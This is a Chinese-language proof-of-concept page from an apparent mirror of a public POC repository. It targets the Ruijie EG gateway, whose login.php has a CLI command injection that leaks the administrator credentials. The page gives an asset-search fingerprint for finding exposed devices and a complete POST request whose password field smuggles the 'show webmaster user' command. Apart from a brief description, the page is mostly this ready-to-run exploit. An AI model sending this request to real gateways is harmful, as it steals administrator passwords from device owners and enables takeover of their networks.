admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-11-07 19:35:52 +00:00
Code Issues Packages Projects Releases Wiki Activity
POC/wpoc/锐捷/锐捷EG易网关/锐捷EG易网关管理员账号密码泄露漏洞.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

1.7 KiB
Raw Blame History

锐捷 EG易网关管理员账号密码泄露漏洞

一、漏洞简介
锐捷EG易网关 login.php存在 CLI命令注入，导致管理员账号密码泄露漏洞
二、影响版本

锐捷EG易网关
**三、资产测绘** 
app="Ruijie-EG易网关"
●登录页面

1710773302248-caa9069a-265b-44c3-8a1c-ee627b562553.png

**四、漏洞复现** 
POST /login.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

username=admin&password=admin?show+webmaster+user
![1710773369558-0b735db6-3ccf-4af3-9aaf-4ba360e3dd91.png](./img/MxcQgnIcXQfNL8qR/1710773369558-0b735db6-3ccf-4af3-9aaf-4ba360e3dd91-254157.png)

1710774024223-cd35f9b5-4b70-45e0-abf7-47aeefe164d6.png

更新: 2024-06-24 11:42:26
原文: https://www.yuque.com/xiaokp7/ocvun2/ewl6ikmuyvguq1ps